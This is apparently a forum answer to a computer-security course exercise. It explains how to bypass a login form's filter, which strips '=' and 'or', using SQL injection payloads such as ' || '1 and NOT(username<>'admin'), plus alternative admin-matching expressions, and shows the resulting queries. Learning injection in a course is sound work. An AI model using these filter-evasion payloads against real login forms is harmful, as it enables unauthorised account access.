I have to inject a login form for exercise about a computer security course .... I have passed the first level using the simple
\' like 1=1--
Assuming this definition of lvl2_filter, which basically removes any occurrence of =
and or
until no longer found, it should still be possible to use the logical OR operation with ||
instead of OR
and a simple expression that evaluates to true like:
username: dummy
password: ' || '1
This would result in:
SELECT user_id FROM users WHERE username='dummy' and password='' || '1'
For selecting a specific user, one can use the rules of boolean algebra, where x=y
= !(x!=y)
:
username: dummy
password: ' || NOT(username<>'admin') AND '1
This would result in:
SELECT user_id FROM users WHERE username='dummy' and password='' || NOT(username<>'admin') AND '1'
Here <>
is equivalent to !=
but doesn’t contain a =
.
There are also other operations that one could use ensure username equals admin
:
username BETWEEN 'admin' AND 'admin'
username LIKE 'admin'
username IN ('admin')
IF(STRCMP(username,'admin'), 0, 1)
CASE STRCMP(username,'admin') WHEN 0 THEN 1 ELSE 0 END